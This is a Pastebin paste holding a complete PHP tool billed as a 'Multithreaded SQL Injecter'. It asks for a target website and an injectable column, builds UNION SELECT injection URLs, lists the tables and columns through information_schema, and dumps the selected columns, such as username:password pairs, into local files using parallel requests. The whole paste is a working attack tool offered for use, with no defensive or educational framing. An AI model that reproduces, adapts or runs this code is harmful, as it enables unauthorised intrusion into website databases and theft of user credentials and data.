i-Hmx

Untitled

Aug 31st, 2012
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.04 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. /*******************************************************************************************************************************
  4. *                                                           __    __                                    ____
  5. *       __    __       __     __    __   ___      _____    |  |  |  |    _    _        ___    __       / ___\
  6. *      /  \  /  \     |__|    \ \  / /  / _ \    /   __\   |__|__|__|   | |  | |      |   \  |  |     / /
  7. *     /    \/    \    |  |     \ \/ /  / /_\ \  /   /___   |__|__|__|   | |  | |      |    \ |  |    | |  __
  8. *    /  /\    /\  \   |  |      /  /  / /___\ \ |      /   |  |  |  |   | |__| |      |  |\ \|  |    | |_/ /
  9. *   /__/  \__/  \__\  |__|     /__/  /_/     \_\ \____/    |__|  |__|    \______\     |__| \____|    |____/
  10. --------------------------------------------------------------------------------------------------------------------------------
  11. * Multithreaded SQL Injecter
  12. * Coded by Miyachung
  13. * Special Thanks burtay
  14. * Janissaries.Org
  15. *******************************************************************************************************************************/
  16.  
  17. if(!is_dir("dumps")){mkdir("dumps");}
  18.  
  19. echo "[+]Enter website: ";
  20. $site                      = fgets(STDIN);
  21. $site                      = str_replace("\r\n","",$site);
  22. $site                      = trim($site);
  23. if(!$site) exit("\n[-]Where is the website!");
  24. if(!preg_match('#http#',$site)) $site = "http://".$site;
  25. echo "[+]Enter column number: ";
  26. $colons                   = fgets(STDIN);
  27. $colons                      = str_replace("\r\n","",$colons);
  28. $colons                      = trim($colons);
  29. if(!$colons) exit("\n[-]Where is the columns!");
  30. echo "[+]Enter effected column: ";
  31. $effected                   = fgets(STDIN);
  32. $effected                  = str_replace("\r\n","",$effected);
  33. $effected                  = trim($effected);
  34. if(!$effected) exit("\n[-]Where is the effected column!");
  35. echo "[+]Advanced SQL Injecter\n";
  36. echo "[+]Coded by Miyachung || Janissaries.Org\n";
  37. $version_url              =    __make_SQL_URL($site,$colons,$effected,FALSE,TRUE,"",__hexEncode("<v3rsion>"),__hexEncode("</v3rsion>"),"version()");
  38. $version_page              = fetch($version_url);
  39. if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$version_page))
  40. {
  41. exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
  42. }
  43. elseif(preg_match("#403 Forbidden#si",$version_page))
  44. {
  45. exit("[-]Fail -> 403 Forbidden\n");
  46. }
  47. $version_page              = __replace($version_page);
  48.  
  49. if(preg_match('#<v3rsion>#si',$version_page))
  50. {
  51. preg_match("/<v3rsion>(.*?)<\/v3rsion>/si",$version_page,$version);
  52. echo "[+]Version -> ".strip_tags($version[1])."\n";
  53. }
  54. else
  55. {
  56. exit("[-]Version not found\n");
  57. }
  58.  
  59. $database_url              = __make_SQL_URL($site,$colons,$effected,FALSE,TRUE,"",__hexEncode("<d4tabase>"),__hexEncode("</d4tabase>"),"database()");
  60. $database_page              = fetch($database_url);
  61. if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$database_page))
  62. {
  63. exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
  64. }
  65. elseif(preg_match("#403 Forbidden#si",$database_page))
  66. {
  67. exit("[-]Fail -> 403 Forbidden\n");
  68. }
  69. $database_page              = __replace($database_page);
  70. if(preg_match('#<d4tabase>#si',$database_page))
  71. {
  72. preg_match("/<d4tabase>(.*?)<\/d4tabase>/si",$database_page,$database);
  73. echo "[+]Database -> ".strip_tags($database[1])."\n";
  74. }
  75. else
  76. {
  77. echo "[-]Database not found\n";
  78. }
  79. if(substr($version[1],0,1) == 5)
  80. {
  81. echo "[+]Version >= 5 getting tables,using information_schema.tables\n";
  82. }else{exit("[-]Version < 5 , sorry can't get the tables");}
  83.  
  84.  
  85. $table_counturl          = __make_SQL_URL($site,$colons,$effected,"+from+information_schema.tables+where+table_schema=database()",TRUE,"",__hexEncode("<t4blecount>"),__hexEncode("</t4blecount>"),"count(table_name)");
  86. $table_countpage      = fetch($table_counturl);
  87. $table_countpage      = __replace($table_countpage);
  88.  
  89. preg_match("/<t4blecount>(.*?)<\/t4blecount>/si",$table_countpage,$table_counted);
  90.  
  91. if($table_counted[1] == null)
  92. {
  93. exit("[-]Tables not found\n");
  94. }
  95. echo "[+]Total tables -> ".$table_counted[1]."\n";
  96.  
  97. for($xz=0;$xz<$table_counted[1];$xz++)
  98. {
  99. $table_url[]              = __make_SQL_URL($site,$colons,$effected,"+from+information_schema.tables+where+table_schema=database()",TRUE,$xz,__hexEncode("<t4bles>"),__hexEncode("</t4bles>"),"table_name");
  100. // $table_page              = fetch($table_url);
  101. // if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$table_page))
  102. // {
  103. // exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
  104. // }
  105. // elseif(preg_match("#403 Forbidden#si",$table_page))
  106. // {
  107. // exit("[-]Fail -> 403 Forbidden\n");
  108. // }
  109. // $table_page              = __replace($table_page);
  110. // preg_match("/<t4bles>(.*?)<\/t4bles>/si",$table_page,$tables);
  111. // $tbls[] = strip_tags(trim($tables[1]));
  112. }
  113. $tbls    =    __threading($table_url,10,"/<t4bles>(.*?)<\/t4bles>/si",FALSE,FALSE);
  114. table_again:
  115. echo "\n";
  116. $tbls    =    array_values(array_unique(array_filter($tbls)));
  117. if(empty($tbls))
  118. {
  119. exit("[-]Can't get tables\n");
  120. }
  121. foreach($tbls as $tid => $tbl)
  122. {
  123. echo "[$tid]$tbl\n";
  124. }
  125. echo "\n[+]Choose a table for get columns,just type number (exit): ";
  126. $choose     = fgets(STDIN);
  127. $choose     = str_replace("\r\n","",$choose);
  128. $choose     = trim($choose);
  129.  
  130. if($choose == "exit")
  131. {
  132. exit("\n");
  133. }
  134. $selected   = $tbls[$choose];
  135.  
  136. $column_counturl    = __make_SQL_URL($site,$colons,$effected,"+from+information_schema.columns+where+table_name=0x".__hexEncode($selected)."",TRUE,"",__hexEncode("<c0lumnscount>"),__hexEncode("</c0lumnscount>"),"count(column_name)");
  137. $column_countpage    = fetch($column_counturl);
  138. $column_countpage    = __replace($column_countpage);
  139.  
  140. preg_match("/<c0lumnscount>(.*?)<\/c0lumnscount>/si",$column_countpage,$column_counted);
  141.  
  142. if($column_counted[1] == null || $column_counted[1] == 0)
  143. {
  144. echo "[-]Columns not found\n";
  145. goto table_again;
  146. }
  147. echo "[+]Total columns for $selected -> ".$column_counted[1]."\n";
  148.  
  149. for($xc=0;$xc<$column_counted[1];$xc++)
  150. {
  151. $column_url[]         = __make_SQL_URL($site,$colons,$effected,"+from+information_schema.columns+where+table_name=0x".__hexEncode($selected)."",TRUE,$xc,__hexEncode("<c0lumns>"),__hexEncode("</c0lumns>"),"column_name");
  152. // $column_page        = fetch($column_url);
  153. // if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$column_page))
  154. // {
  155. // exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
  156. // }
  157. // elseif(preg_match("#403 Forbidden#si",$column_page))
  158. // {
  159. // exit("[-]Fail -> 403 Forbidden\n");
  160. // }
  161. // $column_page    = __replace($column_page);
  162. // preg_match("/<c0lumns>(.*?)<\/c0lumns>/si",$column_page,$columns);
  163. // $cols[] = strip_tags(trim($columns[1]));
  164. }
  165. $cols = __threading($column_url,5,"/<c0lumns>(.*?)<\/c0lumns>/si",FALSE,FALSE);
  166. col_showagain:
  167. echo "\n";
  168. $cols = array_values(array_unique(array_filter($cols)));
  169.     foreach($cols as $cid => $colname)
  170.     {
  171.         echo "[$cid]$colname\n";
  172.     }
  173.  
  174. what_again:
  175. echo "\n[+]What do you wanna do (dump,back,exit): ";
  176. $whatdo = fgets(STDIN);
  177. $whatdo = str_replace("\r\n","",$whatdo);
  178. $whatdo = trim($whatdo);
  179.  
  180. if($whatdo == "dump")
  181. {
  182. col_ask:
  183. echo "[+]Select dump column 1,just type number(back,exit): ";
  184. $select_col1 = fgets(STDIN);
  185. $select_col1 = str_replace("\r\n","",$select_col1);
  186. $select_col1 = trim($select_col1);
  187. if($select_col1 == "back")
  188. {
  189. goto col_showagain;
  190. }
  191. elseif($select_col1 == "exit")
  192. {
  193. exit("\n");
  194. }
  195.  
  196. echo "[+]Select dump column 2,type number(if you don't want just enter,back,exit): ";
  197. $select_col2 = fgets(STDIN);
  198. $select_col2 = str_replace("\r\n","",$select_col2);
  199. $select_col2 = trim($select_col2);
  200. if($select_col2 == "back")
  201. {
  202. goto col_ask;
  203. }
  204. elseif($select_col2 == "exit")
  205. {
  206. exit("\n");
  207. }
  208. elseif(!empty($select_col2))
  209. {
  210. $column2     = $cols[$select_col2];
  211. }
  212. $column1     = $cols[$select_col1];
  213.  
  214. $count_url  = __make_SQL_URL($site,$colons,$effected,"+from+$selected",TRUE,"",__hexEncode("<miyacount>"),__hexEncode("</miyacount>"),"count($column1)");
  215. $count_page = fetch($count_url);
  216. $count_page    = __replace($count_page);
  217. preg_match("/<miyacount>(.*?)<\/miyacount>/si",$count_page,$datacount);
  218. if(trim($datacount[1]) == null || $datacount[1] == 0)
  219. {
  220. echo "[-]Columns empty\n";
  221. goto col_showagain;
  222. }
  223. echo "[+]Total datas -> ".$datacount[1]."\n";
  224. echo "[+]Using LIMIT NULL,1 for dump\n\n";
  225. for($x=0;$x<=$datacount[1];$x++)
  226. {
  227.  
  228. if($column2)
  229. {
  230. $dump_url[]         = __make_SQL_URL($site,$colons,$effected,"+from+$selected",TRUE,$x,__hexEncode("<dumped>"),__hexEncode("</dumped>"),"$column1,0x3a,$column2");
  231. $filename            = "dumps/".__parse($site).",$column1"."_"."$column2.txt";
  232. }
  233. else
  234. {
  235. $dump_url[]         = __make_SQL_URL($site,$colons,$effected,"+from+$selected",TRUE,$x,__hexEncode("<dumped>"),__hexEncode("</dumped>"),"$column1");
  236. $filename            = "dumps/".__parse($site).",$column1.txt";
  237. }
  238. // $dump_page        = fetch($dump_url);
  239. // if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$dump_page))
  240. // {
  241. // exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
  242. // }
  243. // elseif(preg_match("#403 Forbidden#si",$dump_page))
  244. // {
  245. // exit("[-]Fail -> 403 Forbidden\n");
  246. // }
  247. // $dump_page        = __replace($dump_page);
  248.  
  249. // if(preg_match("/<dumped>(.*?)<\/dumped>/si",$dump_page,$dumps))
  250. // {
  251. // $dump = $dumps[1];
  252. // echo strip_tags(trim("[$x]$dump"))."\n";
  253. // ob_flush();flush();
  254. // __dumpsave($filename,$dump."\r\n");
  255. // }
  256. }
  257. if($datacount[1] >= 20)
  258. {
  259. $dumps    =    __threading($dump_url,10,"/<dumped>(.*?)<\/dumped>/si",TRUE,TRUE,$filename);
  260. }
  261. else
  262. {
  263. $dumps    =    __threading($dump_url,10,"/<dumped>(.*?)<\/dumped>/si",TRUE,FALSE,"");
  264. }
  265. unset($column_url);
  266. unset($dump_url);
  267. goto col_showagain;
  268. }
  269. elseif($whatdo == "back")
  270. {
  271. unset($column_url);
  272. unset($cols);
  273. goto table_again;
  274. }
  275. elseif($whatdo == "exit")
  276. {
  277. exit("\n");
  278. }
  279. else
  280. {
  281. echo "[-]Unknown command\n";
  282. goto what_again;
  283. }
  284.  
  285.  
  286.  
  287. function fetch($url)
  288. {
  289. $curl     = curl_init();
  290. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  291. curl_setopt($curl,CURLOPT_URL,$url);
  292. curl_setopt($curl,CURLOPT_TIMEOUT,10);
  293. $oba    = curl_exec($curl);
  294. return $oba;
  295. }
  296. function __make_SQL_URL($site,$colons,$effected,$from,$concat,$limit,$hex1,$hex2,$what)
  297. {
  298. $colon_union               = range(1,$colons);
  299. if($concat)
  300. {
  301. $colon_union[$effected-1] = "concat(0x$hex1,$what,0x$hex2)";
  302. }
  303. else
  304. {
  305. $colon_union[$effected-1] = "group_concat(0x$hex1,$what,0x$hex2)";
  306. }
  307. $colon_union               = implode(",",$colon_union);
  308.  
  309. if($from)
  310. {
  311.  
  312. if($limit != null)
  313. {
  314. $url                      = $site."+and+1=0+union+select+".$colon_union.$from."+limit+$limit,1--";
  315. }else
  316. {
  317. $url                      = $site."+and+1=0+union+select+".$colon_union.$from."--";
  318. }
  319.  
  320. }else{
  321.  
  322. if($limit != null)
  323. {
  324. $url                      = $site."+and+1=0+union+select+".$colon_union."+limit+$limit,1--";
  325. }
  326. $url                      = $site."+and+1=0+union+select+".$colon_union."--";
  327. }
  328. return $url;
  329. }
  330. function __threading($urls,$thread,$regex,$yaz,$kaydet,$file=NULL)
  331. {
  332. $init = curl_multi_init();
  333. $urls = array_chunk($urls,$thread);
  334. $x = 0;
  335. foreach($urls as $url)
  336. {
  337.     for($i=0;$i<=count($url)-1;$i++)
  338.     {
  339.     $curl[$i] = curl_init();
  340.     curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,1);
  341.     curl_setopt($curl[$i],CURLOPT_URL,$url[$i]);
  342.     curl_setopt($curl[$i],CURLOPT_TIMEOUT,10);
  343.     curl_multi_add_handle($init,$curl[$i]);
  344.     }
  345.    
  346.     do{curl_multi_exec($init,$active);usleep(11);}while($active>0);
  347.    
  348.     foreach($curl as $cid => $page)
  349.     {
  350.     $content[$cid] = curl_multi_getcontent($page);
  351.     curl_multi_remove_handle($init,$page);
  352.     if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$content[$cid]))
  353.     {
  354.     exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
  355.     }
  356.     elseif(preg_match("#403 Forbidden#si",$content[$cid]))
  357.     {
  358.     exit("[-]Fail -> 403 Forbidden\n");
  359.     }
  360.     preg_match($regex,$content[$cid],$veri);
  361.     if($yaz == TRUE)
  362.     {
  363.        
  364.         if(!empty($veri[1]) && preg_match("/[a-zA-Z0-9]:[a-zA-Z0-9]/si",$veri[1]))
  365.         {
  366.         $x++;
  367.         echo "[$x]$veri[1]\n";
  368.         ob_flush();flush();
  369.             if($kaydet == TRUE && $file != NULL)
  370.             {
  371.             $fopen = fopen($file,'ab');
  372.             fwrite($fopen,trim($veri[1])."\r\n");
  373.             fclose($fopen);
  374.             }
  375.         }
  376.     }
  377.     else
  378.     {
  379.     $veriler[] = $veri[1];
  380.     }
  381.    
  382.     }
  383. }
  384. return $veriler;
  385. }
  386. function __hexEncode($string)
  387. {
  388.    $hex='';
  389.     for ($i=0; $i < strlen($string); $i++)
  390.     {
  391.         $hex .= dechex(ord($string[$i]));
  392.     }
  393.     return $hex;
  394. }
  395. function __replace($text)
  396. {
  397. $text              = str_replace("&lt;","<",$text);
  398. $text              = str_replace("&gt;",">",$text);
  399. return $text;
  400. }
  401. function __dumpsave($file,$text)
  402. {
  403. $fp = fopen($file,'ab');
  404. fwrite($fp,$text);
  405. fclose($fp);
  406. return true;
  407. }
  408. function __parse($site)
  409. {
  410. $site = explode("/",$site);
  411. $site = $site[2];
  412. return $site;
  413. }
  414. ?>
Advertisement
Add Comment
Please, Sign In to add comment